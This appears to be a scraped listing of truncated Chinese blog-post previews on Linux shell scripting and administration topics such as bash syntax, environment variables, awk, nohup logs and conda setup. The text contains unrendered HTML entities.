概述 概念 反弹shell&#xff1a;控制端监听在某TCP/UDP端口&#xff0c;被控端发起请求到该端口&#xff0c;并将其命令行的输入输出转到控制端 分析 正常情况下&#xff1a;用户在终端输入ssh rootip登录目标机器&#xff0c;登录成功后即可开始shell操作反弹shell&#…

linux shell文件.sh 执行报错 /bin/bash^M: bad interpreter: No such file or directory

[rootVM-16-6-centos ~]# /root/wvp.sh -bash: /root/wvp.sh: /bin/bash^M: bad interpreter: No such file or directory主要原因是wvp.sh是我在Windows下编辑后&#xff0c;在linux系统里执行的。.sh文件的格式为dos格式。而linux只能执行格式为unix格式的脚本。 我们可以通…

Linux设置和查看环境变量的方法

1.Linux的变量种类 按变量的生存周期来划分&#xff0c;Linux变量可分为两类&#xff1a; 1.1 永久的&#xff1a;需要修改配置文件&#xff0c;变量永久生效。 1.2 临时的&#xff1a;使用export命令声明即可&#xff0c;变量在关闭shell时失效。 2.设置变量的三种方法 2.1 在…

shell 脚本处理多行文本的记录 -- awk

1、参考awk处理多行文本的记录_weixin_30457465的博客-CSDN博客&#xff0c; 对其中的脚本代码增加注释说明 #!/usr/bin/awk -f# 设置输入流的分隔符号&#xff0c;根据分割符号拆分为一个个记录record BEGIN {RS"spawn"} {# 遍历各个记录&#xff0c;确认本记录内…

经典的 Shell 十三问

1. 为何叫做shell? 我们知道计算机的运作不能离开硬件&#xff0c;但使用者却无法直接操作硬件&#xff0c;硬件的驱动只能通过一种称为“操作系统(OS&#xff0c;Opertating System)的软件来管控。linux严格来说只是一个操作系统(OS)&#xff0c;我们称之为内核(kernel)。 …

linux 系统常见的日志文件和常用命令

RedHat Linux系统常见的日志文件和常用命令 成功地管理任何系统的关键之一&#xff0c;是要知道系统中正在发生什么事。Linux 中提供了异常日志&#xff0c;并且日志的细节是可配置的。Linux 日志都以明文形式存储&#xff0c;所以用户不需要特殊的工具就可以搜索和阅读它们。…

从山丘锤王之死谈Spring AOP中的引介(Introduction)

<iframe align"top" marginwidth"0" marginheight"0" src"http://www.zealware.com/csdnblog01.html" frameborder"0" width"728" scrolling"no" height"90"></iframe>引介(Intr…

弹窗kernel Module Updater并安装模块vmnet vmmon失败,解决办法

ubuntu21.10安装VMware-workstation16.0.0弹窗kernel Module Updater并安装模块vmnet vmmon失败&#xff0c;解决办法 执行脚本bash test.sh #!/bin/bashVMWARE_VERSIONworkstation-16.0.0TMP_FOLDER/tmp/patch-vmwarerm -fdr $TMP_FOLDERmkdir -p $TMP_FOLDERcd $TMP_FOLDERg…

tail查看nohup.out文件内容

shell终端用nohup命令后生成nohup.out文件 1.前台实时查看nohub.out文件内容&#xff1a; tail -f nohup.out 2.根据关键字查看 tail -f nohup.out |grep "关键字"3.输出文件最后100行 tail -n 100 nohup.out 4.输出文件最后100行&#xff0c;含关键字 tail -n 1…

for循环的乘法口诀;图形表示—矩形;正直角三角;倒直角三角;反直角;正等腰三角;倒等腰三角;菱形;梯形;平行四边形

for图形表示—益智题一、乘法口诀二、for表示一条直线三、矩形&#xff08;长方形&#xff09;四、正直角三角形五、倒直角三角形六、反直角三角形七、倒反直角三角形八、正等腰三角形九、倒等腰三角形十、菱形十一、等腰梯形十二、平行四边形一、乘法口诀 #/bin/bash #9*9 fo…

Linux下加载ISO文件的方法介绍

其实ISO也是一个打包文件&#xff0c;和rar以及zip文件类似&#xff0c;只是他们的格式不同罢了&#xff1b;我们能把iso挂载到一个目录中。其实ISO也是一个打包文件&#xff0c;和rar以及zip文件类似&#xff0c;只是他们的格式不同罢了&#xff1b;我们能把ISO挂载到一个目录…

ffmpeg给图片加中文水印文字

给图片添加水印文字 ffmpeg -i 1.jpg -vf drawtext"fontcolorred:fontfilesimhei.ttf:fontsize40:xw-tw-th:yh-th:text测试-一班-500kV测试Ⅰ测试#1234-测试测试-1 测试测试" -y output.pngfontfilesimhei.ttf字体文件路径 xw-tw-th:yh-th&#xff0c; 文本的位置&…

Shell编程 第一章 变量

文章目录一、变量定义二、变量分类1、预定义变量2、自定义变量3、环境变量4、位置变量三、字符的转译及变量的声明四、变量运算1、expr命令2、$[]和(()) 表达式3、let命令(let命令在执行后会保存新的值)4、小数运算工具bc5、随机数RANDOM练习&#xff08;计算两个数的加减乘除&…

学习shell咯3

C shell和TC shell效仿了C语言的预防&#xff0c;儿Bourne shell基于一门古老的编程语言Algol Bash和Korn shell则综合了Bourne和C shellBash Shell语法和结构: The shbang line [code] #!/bin/bash [/code]Comment [code] # This is a comment [/code]Wildcards [code] rm *; …

学习shell咯1

三大Unix shell 1,Bourne shell(AT&T shell, $) 2,C shell(Berkeley shell, %) 3,Korn shell(a superset of the Bourne shell, $)几大Linux shell Bash -- Linux default shell(The GNU Bourne Again shell, $) TC shell(bundled with Solaris 8, >) Z shell Public Do…

k8s组件-etcd

安装etcd https://github.com/etcd-io/etcd/releases/download/v3.3.4/etcd-v3.3.4-linux-amd64.tar.gz 可参考脚本&#xff1a; etcdctl命令工具-V3 Kubernetes 学习笔记 #!/bin/bash ETCD_VERv3.3.4 ETCD_DIRetcd-download DOWNLOAD_URLhttps://github.com/coreos/etcd/r…

linux中shell的小括号、大括号的用法区别

简单说就是 小括号&#xff1a; 命令组&#xff0c;新开子shell程序&#xff0c;命令组中的变量为local命令替换 ,相当于单引号 用于初始化数组 大括号…. 见百度经验

[转]History命令用法 15 例

如果你经常使用 Linux 命令行&#xff0c;那么使用 history命令可以有效地提升你的效率。本文将通过实例的方式向你介绍 history 命令的 15 个用法。 使用 HISTTIMEFORMAT 显示时间戳 当你从命令行执行 history 命令后&#xff0c;通常只会显示已执行命令的序号和命令本身。如…

【Java可执行命令】(五)打包部署工具 jar:深入解析应用程序打包、分发和部署工具jar ~

Java可执行命令详解之jar 1️⃣ 概念2️⃣ 优势和缺点3️⃣ 使用3.1 语法格式&#xff1a;创建jar文件3.1.1 参数&#xff1a;-cf3.1.2 参数&#xff1a;-tf3.1.3 参数&#xff1a;-i3.1.4 参数&#xff1a;-v3.1.5 参数&#xff1a;-e 3.2 运行jar文件 4️⃣ 应用场景5️⃣ 注…

Bash语法

Shell简介 shell是一种脚本语言&#xff0c;通过对应的脚本解释器解释执行&#xff0c;一般作为内置于操作系统的应用程序向用户提供访问操作系统内核的服务。不过shell也分化出了很多种类&#xff0c;常见的有shell(/bin/sh)、bash(/bin/bash)、csh(/usr/bin/csh)、ksh(/usr/…

source和export区别

背景&#xff1a;当我们启动linux后&#xff0c;将启动一个用户shell&#xff0c;在这个shell中&#xff0c;可以使用shell命令或声明变量&#xff0c;也可以创建并运行shell脚本程序&#xff0c;运行shell脚本时&#xff0c;系统将创建一个子shell用来执行&#xff0c;每个she…

ElasticSerach编写Shell启动脚本

1、所有文章优先发表在个人博客上&#xff1a; https://www.xdx97.com 2、后续如果有修改的话&#xff0c;可能忘记更新到CSDN了&#xff0c;给你带来不便&#xff0c;抱歉。 3、个人博客本篇文章地址 &#xff1a; https://www.xdx97.com/article?bamId644536524079104000 文…

数据库的四种安装部署方式

数据库安装 文章目录数据库安装实验环境方式1&#xff1a;使用MySQL仓库来安装部署MySQL一、添加MySQL仓库二、禁用默认的MySQL模块三、安装装MySQL四、启动MySQL服务器五、服务确认方式2&#xff1a;离线安装MySQL一、使用以下执行清理之前实验MySQL仓库安装的数据库&#xff…

linux系统进程及服务的管理+shell基础之bash+find

mandb man ps 1&#xff1a;##什么是进程 进程就是系统未完成并且正在进行的工作 ##2.查看进程## 1&#xff09;&#xff1a;图形查看方式 gnome-system-monitor 2&#xff09;进程查看命令 ps -A ##所有进程 -a ##在环境中的所有进程&#xff0c;不包含环境信息 进程树可以看…

Dash与Bash的语法区别

转自&#xff1a;BabyUnion的博客 如今Debian和Ubuntu中&#xff0c;/bin/sh默认已经指向dash&#xff0c;这是一个不同于bash的shell&#xff0c;它主要是为了执行脚本而出现&#xff0c;而不是交互&#xff0c;它速度更快&#xff0c;但功能相比bash要少很多&#xff0c;语法…

Shell 在 MacOS 及 Linux 中的文件读取顺序

Shell 在 MacOS 及 Linux 中的文件读取顺序 himgMacOS 与 Linux 中 zsh 的加载顺序 Interactive loginInteractive non-loginScript/etc/zshenvAAA~/.zshenvBBB/etc/zprofileC~/.zprofileD/etc/zshrcEC~/.zshrcFD/etc/zloginG~/.zloginH~/.zlogoutI/etc/zlogoutJ 如文章首图与上…

飞快的使用命令行

历史特性 使用history命令可以调出历史曾经用过的命令列表 shell> history 994 cat config.nice 995 cd /usr/local/src 996 ls 997 cd /usr/src 998 ls 999 dmesg 1000 history 1001 history 100如果你想重新执行"cd /usr/local/src" 那就可以直接这样调…

linux脚本编程

1. Linux 脚本编写基础 1.1 语法基本介绍 1.1.1 开头 程序必须以下面的行开始&#xff08;必须方在文件的第一行&#xff09;&#xff1a; #!/bin/sh   符号#!用来告诉系统它后面的参数是用来执行该文件的程序。在这个例子中我们使用/bin/sh来执行程序。   当编辑好脚本…

Linux 系统 Tomcat启动变慢

查看内存占用情况 free -h如果发现used比较高 并且cache比较高的情况, 需要手动释放内存 或者 重启 注意&#xff1a;在释放cached内存之前请用sync命令将文件系统buffer里面的数据flush到磁盘上 释放内存命令: -> sync # 修改的是内核参数的值为3&#xff0c;自动回收&am…

【操作系统实验】第一次实验

.c程序的命令行编译&#xff1a;先用clang再用gdb 比如我要运行这个myfork.c,就&#xff1a; clang myfork.c -o myfork然后再 gdb myfork会出来gdb的命令行&#xff08;开头有括号里的gdb),然后再在&#xff08;gdb&#xff09;后面打run就行了 &#xff08;gdb&#xff09…

Fish vs. Zsh vs. Bash以及为什么要改用Fish

事实上&#xff0c;大多数开发人员都喜欢Unix和类似Unix&#xff08;基于Linux&#xff09;的操作系统&#xff0c;例如macOS&#xff0c;Ubuntu等。它们稳定&#xff0c;强大&#xff0c;高度可定制&#xff0c;并且具有强大的Unix Shell。 什么是UNIX Shell&#xff1f; S…

【Linux】硬链接和符号链接(软连接)都可以修改原文件吗?--相同点与不同点

答案是都可以修改 测试 测试命令如下 $ cd /tmp # 所有人都有rwx权限 $ touch test.txt $ vim test.txt #写入&#xff1a; this is the test file $ ln test.txt hardlink.txt #硬链接 $ ln -s test.txt symboliclink.txt #符号链接 $ vim symboliclink.txt # 换行写入s…

[转]: bad interpreter: 没有那个文件或目录

今天居然遇到这个奇怪的问题&#xff0c;看到别人的帖子&#xff0c;解决&#xff0c;算是做个记录。 转自&#xff1a;http://yaksayoo.blog.51cto.com/510938/195657 : bad interpreter: 没有那个文件或目录使用linux的过程中&#xff0c;有时候问题不复杂、解决方法也简单&a…

解决zsh: command not found问题

踩坑了&#xff0c;.zhsrc 和 . bash_profile 我在zsh终端下&#xff0c;把需要的新环境变量加到了bash_profile里&#xff0c;然后用了source .bash_profile&#xff0c;后出现了所有命令找不到的错误。 先使用如下指令 PATH/bin:/usr/bin:/usr/local/bin:${PATH} export PA…

在windows10下VSCode进行shell开发

在windows10下VSCode进行shell开发 文章目录在windows10下VSCode进行shell开发环境准备简单示例远程Linux进行开发前期准备配置 remote-ssh注意点环境准备 安装VSCode&#xff0c;官网下载地址&#xff1a;https://code.visualstudio.com/Download 安装Git&#xff0c;官网下…

如何 打印随机颜色的字体? Bash 中的 $RANDOM ——随机数生成器 如何使用?

此链接通往 Bash Shell 编程学习的目录导航 &#xff0c;从入门到放弃&#xff0c;感兴趣的可以去看看&#xff1a; 随机数生成器 —— $RANDOM: Bash Shell 中有内建的随机数生成器&#xff1a; $RANDOM rootzhengzelin:~$ echo $RANDOM 生成值得默认范围是 0-32767 1…

Shell 脚本的工作原理:

此链接通往 Shell 编程学习的目录导航 &#xff0c;从入门到放弃&#xff0c;感兴趣的可以去看看&#xff1a; 本章学习一下 shell脚本 的工作原理&#xff01; 当我们写了一个shell脚本之后&#xff0c;执行的时候&#xff0c;并不是在当前 shell 下执行&#xff0c;而是打…

linux下提示一些基本的命令找不到

转载&#xff1a;http://blog.csdn.net/jz19890704/article/details/8814099 如果新装的系统&#xff0c;运行一些很正常的诸如&#xff1a;shutdown&#xff0c;fdisk的命令时&#xff0c;悍然提示&#xff1a;bash:command not found。那么 首先就要考虑root 的$PATH里是否已…

linux启动jar包脚本(shell脚本)

java包启动脚本 #这里可替换为你自己的执行程序&#xff0c;其他代码无需更改APP_NAMEcsls-springboot-nw.jar #使用说明&#xff0c;用来提示输入参数 usage() {echo "Usage: sh robotcenter.sh [start|stop|restart|status]"exit 1 }#检查程序是否在运行 is_exist(…

vscode配置终端默认为git bash

vscode配置终端默认为git bash 文章目录 vscode配置终端默认为git bashctrl shift p 打开设置添加 git bash 并设为默认终端 ctrl shift p 打开设置 添加 git bash 并设为默认终端 注意不要配置 git-bash.exe 的路径。 如果配置为 git-bash.exe 路径&#xff0c;则会单独打…

Shell Script—脚本之间的相互调用

本文主要介绍在shell中&#xff0c;如何实现脚本之间的相互调用&#xff1b; 1.脚本函数调用 可以在一个脚本中定义一个或多个函数&#xff0c;然后可以从同一脚本中的其他函数或命令中调用它们。您还可以在不同的脚本中定义和调用函数。 示例 main.sh #!/bin/bashsource …

Linux-Bash的基本特性

Linux-Bash的特性应用&#xff1a; 按命令展开&#xff1a; {} 花括号是Bash支持的一种特殊符号&#xff0c;可以简单的理解为小学时学的乘法结合率。 例如&#xff1a; echo {1..10} 1 2 3 4 5 6 7 8 9 101…10 表示1到10&#xff0c;则整个命令可以理解为echo 1 echo 2 ec…

shell脚本基础学习

在编写shell脚本时&#xff0c;经常遇到的问题就是判断字符串是否相等、文件状态检测、数字测试等&#xff0c;shell脚本中的条件测试语法可以判断表达式是否成立&#xff0c;若条件成立则返回数字0&#xff0c;否则便返回其他随机数值。 test命令&#xff1a;用于测试字符串 、…

Linux shell脚本编程之大括号{}使用变量

在shell脚本编程中&#xff0c;我们给变量加上大括号&#xff0c;作用是为了帮助解释器识别变量边界 对于变量有空格隔开独立的情形&#xff0c;$val与 ${val}等价&#xff1b;对于变量之间无空格隔开&#xff0c;想要组合两个变量或变量与字符串时&#xff0c;{}就起到限定边…

RHCE之路--02创建和运行 Ansible 临时命令

2 创建和运行 Ansible 临时命令 题目: 作为系统管理员&#xff0c;您需要在受管节点上安装软件。 照正文所述&#xff0c;创建一个名为 /home/student/ansible/adhoc.sh 的 shell 脚本&#xff0c;该脚本将使用Ansible 临时命令在各个受管节点上安装 yum 存储库&#xff1a; 储…

shell专题——bash常用的快捷键与通配符

文章目录shell专题——bash常用的快捷键与通配符常用快捷键常用通配符bash的引号shell专题——bash常用的快捷键与通配符 常用快捷键 ctrlc 终止前台运行程序 ctrlz 将前台运行程序挂到后台 ctrld exit ctrll clear 清屏 ctrla home 光标移到命令行最前 ctrle end 光标移到…

shell专题——cut工具

文章目录shell专题——cut工具语法&#xff1a;cut 选项 文件名常用选项例子shell专题——cut工具 cut是列截取工具 语法&#xff1a;cut 选项 文件名 常用选项 -c&#xff1a;以字符为单位进行截取 &#xff0c;-c1表示只截取第一个字符&#xff0c;-c1-4表示截取1-4个字符…

Linux 17岁生日,重温Linus Torvalds当年信函(中英对照)

郑重声明&#xff1a;本人英语仅过四级&#xff0c;非常之菜。强做翻译&#xff0c;亦为提高自己方便他人之举&#xff0c;错误、不足之处&#xff0c;恳请指正&#xff01; 1991年9月17日,Linus Torvalds公布了Linux 0.0.1,从此计算机行业进入了一个新的阶段,还带来了一个真正…

Bash Shell 之 nutil循环

文章目录此链接通往 Bash Shell 编程学习的目录导航 &#xff0c;从入门到放弃&#xff0c;感兴趣的可以去看看&#xff1a; until 循环 与 while 循环结构类似&#xff1b; 区别&#xff1a; while for 等循环是表达式为真&#xff08;返回值为0&#xff09; &#xff0c;才执…

Shell批量重命名文件名

Shell批量重命名文件名 Shell批量重命名文件名#!/bin/sh#替换文件名中的空格find . -name "* *"|while read name;dona$(echo $name | tr _)mv "$name" $nadone#将文件名替换成1、2、3、4、5、6等文件名&#xff0c;后缀名保持不变(例如test.log -->1…

Ubuntu下sh *.sh使用==操作符执行报错

————《鸟哥的Linux私房菜——基础篇》学习笔记 ubuntu默认的sh是连接到dash&#xff0c;而我们写shell脚本时使用的时bash。bash和dash在一些方面是不兼容的。因此执行同一个脚本&#xff0c;两者结果不一样&#xff0c;可能用./*sh可以执行&#xff0c;而sh *.sh报错。 …

Linux 脚本开机自启的几种方法

系统启动时需要加载的配置文件 /etc/profile、/root/.bash_profile /etc/bashrc、/root/.bashrc /etc/profile.d/*.sh、/etc/profile.d/lang.sh /etc/sysconfig/i18n、/etc/rc.local&#xff08;/etc/rc.d/rc.local&#xff09; 一、修改开机启动文件&#xff1a;/etc/rc.loc…

Tandem

~/w/p/tandem/tandem  master !3 ?2  scripts/runtime_euroc.bash  ✔ [W BinaryOps.cpp:467] Warning: floor_divide is deprecated, and will be removed in a future version of pytorch. It currently rounds toward 0 (like the trunc function NOT flo…

Oracle学习笔记之Dataguard

一、 环境配置primary&#xff1a;IP&#xff1a;192.168.0.120 CPU&#xff1a;2个Intel(R) Xeon(TM) CPU 2.80GHz &#xff08;HT&#xff09; Mem&#xff1a;2GSwap&#xff1a;4GDisk&#xff1a;130G DB&#xff1a;Oracle Database 10g Enterprise Edition Release 10.…

linux终端设置

在本文中我以 Bash shell 为例。因为在不同的终端里的转义序列不完全相同&#xff0c; 所以在本文中我使用的是 ANSI 终端。 shell 彩色配置出现在 bash 的个人配置文件 ~/.bashrc 或者是全局配置文件 /etc/bashrc 里面。 可以通过bashrc 里面的 PS1 变量来设置提示符的外…

事务产生的问题和锁的理解

事务会产生的问题 脏读 当A修改数据库数据时&#xff0c;数据库数据已经修改&#xff0c;但事务还未完成之前&#xff0c;B查询到修改的数据&#xff0c;A事务突然发生错误回滚&#xff0c;导致B查询出的数据和数据库数据不符&#xff0c;导致脏读解决方式 1.加排他锁 2.mys…

firefly ROC-RK3399-PC-Pro android7.1 编译打包详解

firefly rk3399 android 编译打包详解说明1 编译1.1 整体编译1.2 打包生成固件1.3 升级固件2 补充说明2.1 编译选项 -l 取值2.1 打包生成固件补充说明说明 硬件&#xff1a;ROC-RK3399-PC-Pro 固件&#xff1a;ROC-RK3399-PC-Pro_Industry7.1.2_HDMI firefly-rk3399-Industry 为…

如何给linux添加一个系统调用

如何给linux添加一个系统调用1、 准备工作a. 安装相关编译程序b. 获取内核源代码c. 解压源代码2、编辑 sys.c 加入函数3、添加声明4、添加系统调用id5、配置内核6、安装内核7、重启虚拟机8、验证1、 准备工作 a. 安装相关编译程序 sudo apt-get install build-essential kern…

linux必知必会-一张图带你认识awk

awk命令 一张图带你认识awk 思维导图源文件下载 免费下载地址:https://download.csdn.net/download/cfanzp/77052069下载后可以使用freemind打开&#xff0c;自行添加对awk的认识和理解。 扫描下方二维码&#xff0c;关注我的公众号&#xff0c;获取更多技术方面的知识

CommandNotFoundError: Your shell has not been properly configured to use ‘conda activate‘.

完整报错&#xff1a; CommandNotFoundError: Your shell has not been properly configured to use conda activate. If your shell is Bash or a Bourne variant, enable conda for the current user with$ echo ". /Users/wangminghan/anaconda3/etc/profile.d/conda.…

AWK编程语言笔记第一章:基础语法

1 AWK 命令 pattern { action }pattern表示模式匹配&#xff0c;action表示操作&#xff0c;两者都是可选的&#xff0c;通过花括号进行区分。 {action} 后可以追加多个文件&#xff0c;也可以使用 -f&#xff1a; awk program input files awk -f progfile optional list o…

shell中获取执行另一个shell的返回值

1、通过 sh 执行另一个脚本 2、过 $? 获取上一条命令的返回值。 #!/bin/bashsh ./test.sh ret $? if [ $ret -eq -1 ]; thenecho " test.sh failed." fi

【百度智能云】通过调用baidu_aip对图像进行画质增强

调用baidu_aip对图像进行画质增强注册/登录百度账号领取/购买资源创建应用调用API注册/登录百度账号 https://cloud.baidu.com/product/imageprocess/enhancement?trackcp:nsem|pf:pc|pp:nsem-chanpin-tuxiangzengqiang-383|pu:tuxiangzengqiang-tongyongci|ci:|kw:10268585&…

Linux 安装conda踩的那些坑

一、安装anaconda3 1.下载anaconda 去官网或者清华源 2.使用如下命令进行安装 bash Anaconda3-5.2.0-Linux-x86_64.sh 安装的时候会让输入yes&#xff0c;一路yes&#xff0c;最后问要不要安装VS的时候no就行了【在这个过程中&#xff0c;有一个是否把anaconda路径加入~/.…

windows 长期禁用设备驱动程序的【代码数字签名】

目录导航&#x1f4aa;长期禁用设备驱动程序的【签名验证】1 Windows家庭版中开启组策略2 打开组策略窗口3 双击击如图所示窗口的第一项&#xff0c;我这里是【代码签名】4 按照下图顺序依次点击5 重启计算机即可&#x1f9be;第二种长期禁用设备驱动程序的【签名验证】&#x…

3.基本shell功能

本系列文章均翻译自Bash官方文档&#xff1a;Bash Manual&#xff0c;github同步项目&#xff1a;question 3.2 shell命令 3.2.4 复合命令 3.2.4.1 循环结构 note&#xff1a;不论;出现在命令语法的何处&#xff0c;都可能会被一行或多行代替。 untilwhilefor for name […

Shell基础(二)

文章目录第二节 Bash变量2.1 用户自定义变量2.2 环境变量2.3 位置参数变量2.4 预定义变量第三节 数值运算与运算符第四节 变量测试*第五节 环境变量配置文件5.1 环境变量配置文件简介5.2 环境变量配置文件作用5.3 其他配置文件和登录信息第二节 Bash变量 什么是变量&#xff1…

Shell学习之路-(03-变量、字符串、数组)

变量、字符串、数组 1.变量 1.1 常规变量 变量名的命名须遵循如下规则&#xff1a; 首个字符必须为字母&#xff08;a-z&#xff0c;A-Z&#xff09;。中间不能有空格&#xff0c;可以使用下划线&#xff08;_&#xff09;。不能使用标点符号。不能使用bash里的关键字&…

bash赋值中的命令替换

1 #!/bin/bash 2 fullName"aaa.c" 3 fName$(echo "aaa.c"|sed s/[^.]*//) 4 echo $fName 其中第3行为命令替换 命令替换可以有两种情况&#xff1a;1&#xff0c;$&#xff08;&#xff09;如上所示 2&#xff0c;&#xff40;&#xff40; 反引号&#x…

vim做一个shell编辑器插件安装

首先要安装Fritz Mehner编写的插件1: 下载vim插件$ cd /usr/src$ wget -O bash-support.zip http://www.vim.org/scripts/download_script.php?src_id9890 也可以在浏览器中拷贝上面的地址即可 2: 安装插件 普通权限即可&#xff1a;建立文件夹&#xff0c;一定要用这个名字&…

Shell基础(一)

第一节 Shell概述 1.1 定义 1.2 分类 1.3 Shell脚本的执行方式 1.4 Bash的基本功能 1.4.1 历史命令与命令补全 1.4.2 命令别名与常用快捷键 1.4.3 输入输出重定向 1.4.4 多命令顺序执行与管道符 第一节 Shell概述 1.1 定义 Shell是一个命令行解释器&#xff0c;它为用…

进入Docker容器的shell脚本

进入Docker容器的shell脚本 使用root用户安装util-linux yum -y install util-linux 编写脚本 vi docker-enter.sh #!/bin/bash CNAME$1 CPID$(docker inspect --format "{{.State.Pid}}" $CNAME) if [ "$#" -gt 1 ]; then nsenter --target $CPID --mou…

uboot环境变量

1.uboot环境变量 在linux和windows操作系统中都有相应的环境变量&#xff0c;在操作系统中一般被指定为操作系统运行环境的一些参数。操作系统的环境变量主要作用可以用于指明重要目录在哪里。在uboot中的环境变量可以理解为一堆变量&#xff0c;然后每次开机从EMMC&#xff0…

shell调试技术

1. shell调试选项 语法 &#xff1a; sh [-n] [-x] [-v] Sctipt.sh 参数说明&#xff1a; -n: 检查shell脚本是否有语法错误。只读取shell脚本&#xff0c;但不执行 -x &#xff1a;提供跟踪执行信息&#xff0c;将执行的每一条命令,每一个变量的值和结果一次打印出来 -v&…

Shell获取文件的文件名和扩展名

Shell获取文件的文件名和扩展名 转自&#xff1a;http://www.jb51.net/article/51592.htm basename example.tar.gz .tar.gz# > exampleFILE"example.tar.gz"echo "${FILE%%.*}"# > exampleecho "${FILE%.*}"# > example.tarecho "…

ctfshow--node.js漏洞

一些漏洞&#xff1a; 危险函数所导致的命令执行 eval() eval() 函数可计算某个字符串&#xff0c;并执行其中的的 JavaScript 代码。和PHP中eval函数一样&#xff0c;如果传递到函数中的参数可控并且没有经过严格的过滤时&#xff0c;就会导致漏洞的出现。 简单例子&#…

linux的Shell脚本编程

Shell脚本的建立与执行 在子Shell中执行 当执行一个脚本文件时&#xff0c;Shell就会产生一个子Shell&#xff08;即一个子进程&#xff09;去执行命令文件中的命令。 1.将文件名作为Shell命令的参数&#xff1a;$bash script-file 2.现将脚本文件的权限改为可执行&#xff0c…

检测 Linux VPS 是 Xen、OpenVZ 还是 KVM 架构的方法

这里写目录标题1. 检测 Linux VPS 是 Xen、OpenVZ 还是 KVM 架构的方法一、安装1.1 使用内置软件包管理器安装1.2 编译安装二、使用三、遇到的问题Issue 1: 运行shell脚本时报错 [[ : not found 解决方法1. 检测 Linux VPS 是 Xen、OpenVZ 还是 KVM 架构的方法 使用一款叫做 v…

Linux常见的紧急情况的处理方法

1、使用急救盘组进行维护 急救盘组&#xff08;也称为boot/root盘组&#xff09;&#xff0c;是系统管理员必不可少的工具。用它可以独立地启动和运行一个完整的Linux系统。 实际上&#xff0c;急救盘组中的第2张盘上就有一个完整的Linux系统&#xff0c;包括root文件系统&…

Linux 安全设置手册

本文讲述了如何通过基本的安全措施&#xff0c;使你的Linux系统变得可靠。 1、Bios Security 一定要给Bios设置密码&#xff0c;以防通过在Bios中改变启动顺序&#xff0c;而可以从软盘启动。这样可以阻止别人试图用特殊的启动盘启动你的系统&#xff0c;还可以阻止别人进入Bi…

[Linux命令]目录的创建与删除命令

mkdir命令功能&#xff1a;创建一个目录&#xff08;类似DOS下的md命令&#xff09;。语法&#xff1a;mkdir &#xff3b;选项&#xff3d; dirname说明&#xff1a;该命令创建由dirname命名的目录。要求创建目录的用户在当前目录中&#xff08;dirname的父目录中&#xff09;…

小染的博弈入门

1.巴什博奕&#xff08;Bash Game&#xff09; 只有一堆n个物品&#xff0c;两个人轮流从中取物&#xff0c;规定每次最少取一个&#xff0c;最多取m个&#xff0c;最后取光者为胜。 后手必胜&#xff1a;n%(m1)0 bash函数 void bash(int n,int m) { printf("%s\n&qu…

学习日志day62(2021-10-30)(1、什么是shell 2、shell脚本编程)

学习内容&#xff1a;学习Linux&#xff08;Day62&#xff09; 1、什么是shell 2、shell脚本编程 1、什么是shell &#xff08;1&#xff09;Shell是命令解释器(command interpreter)&#xff0c;是Unix操作系统的用户接口&#xff0c;程序从用户接口得到输入信息&#xff0c…

es 错误处理(this cluster currently has [3002]/[3000] maximum shards open)

问题&#xff1a;ES 又莫名其妙宕机了 查看 Elasticsearch 日志如下 [2022-03-22T09:00:02,430][WARN ][o.e.x.m.e.l.LocalExporter] [aibee-devops-es03] unexpected error while indexing monitoring document org.elasticsearch.xpack.monitoring.exporter.ExportExceptio…

kubeadm join 集群报错 error execution phase kubelet-start 处理

前言 使用 kubeadm join 加入 k8s-node 节点报错&#xff0c;内容如下&#xff1a; error execution phase kubelet-start: error uploading crisocket: timed out waiting for the condition解决办法 1 重置此台机器的集群配置 kubeadm reset -f2 停止服务 sudo tee /tmp…

Linux alias(别名)设置

命令别名 对于经常执行的较长的命令&#xff0c;可以将其定义成较短的别名&#xff0c;以方便执行 显示当前shell进程所有可用的命令别名 alias定义别名NAME&#xff0c;其相当于执行命令VALUE alias NAMEVALUE示例&#xff1a;扫描新加的磁盘 [rootcentos8 ~]#alias scand…

Shell基础学习笔记

Shell1 Shell概述2 Shell脚本入门3 变量3.1 系统变量3.2 自定义变量3.3 特殊变量4 运算符5 条件判断6 流程控制6.1 if 判断6.2 case 语句6.3 for 循环6.4 while 循环7 函数7.1 系统函数7.2 自定义函数8 Shell工具8.1 cut8.2 sed8.3 awk8.4 sort1 Shell概述 Shell是一个命令行解…

bash -c 注意事项

bash -c 注意事项通常使用shell去运行脚本&#xff0c;两种方法 bash xxx.sh&#xff0c;另外一种就是bash -c “cmd string” 对于bash xxx.sh, 首先bash 会在当前目录去寻找xxx.sh&#xff0c;如果找到&#xff0c;就直接运行&#xff0c;找不到则按照环境变量PATH的指定路径…

华为路由器交换机快捷键大全

彩色快捷键是我最喜欢用的4个。 CTRL_A 将光标移动到当前行的开头。 CTRL_B 将光标向左移动一个字符。 CTRL_C 停止当前正在执行的功能。 CTRL_D 删除当前光标所在位置的字符。CTRL_E 将光标移动到当前行的末尾。 CTRL_F 将光标向右移动一个字符。 CTRL_H 删除光标左侧的一个…

shell到底是什么?

说到Linux&#xff0c;不得不提shell&#xff0c;大家都知道“shell是命令解析器“&#xff0c;单凭这一句话&#xff0c;我们其实很难知道shell到底是什么&#xff0c;下面我们就从四个方面对shell做一个更加透明的介绍。 关于详细介绍&#xff0c;请参考&#xff1a;http://…

Shell编程日记——shell变量

第一个shell脚本 打开文本编辑器(可以使用 vi/vim 命令来创建文件)&#xff0c;新建一个文件 test.sh&#xff0c;扩展名为 sh&#xff08;sh代表shell&#xff09;&#xff0c;扩展名并不影响脚本执行&#xff0c;见名知意就好&#xff0c;如果你用 php 写 shell 脚本&#x…

linux利用ssh实现免密登录

文章目录免密登录1.生成密钥2.查看密钥3.本机免密4.查看是否免密成功5.连接主机6.查看是否连接成功免密登录 1.生成密钥 #返回当前用户 cd #生成密钥 ssh-keygen -t rsa #--------------------------------------------------------------- Generating public/private rsa ke…

Linux的shell编程基础知识

shell编程 什么是shell编程&#xff1f;shell编程有什么用?shell编程的核心在哪里。 shell是一个命令行解释器&#xff0c;它接受用户指令然后操作操作系统&#xff0c;在Linux中&#xff0c;这类程序/命令组储存在.sh文件中&#xff0c;在Windows中以.bat的文件进行存储。 …

Linux lsof

这里写自定义目录标题1. Linux lsof1.1. 列出所有打开的文件:1.2. 查看谁正在使用某个文件1.3. 递归查看某个目录的文件信息1.4. 比使用 D 选项, 遍历查看某个目录的所有文件信息 的方法1.5. 列出某个用户打开的文件信息1.6. 列出某个程序所打开的文件信息1.7. 列出多个程序多…

shell脚本代码片断:参数个数、当前目录、日期格式

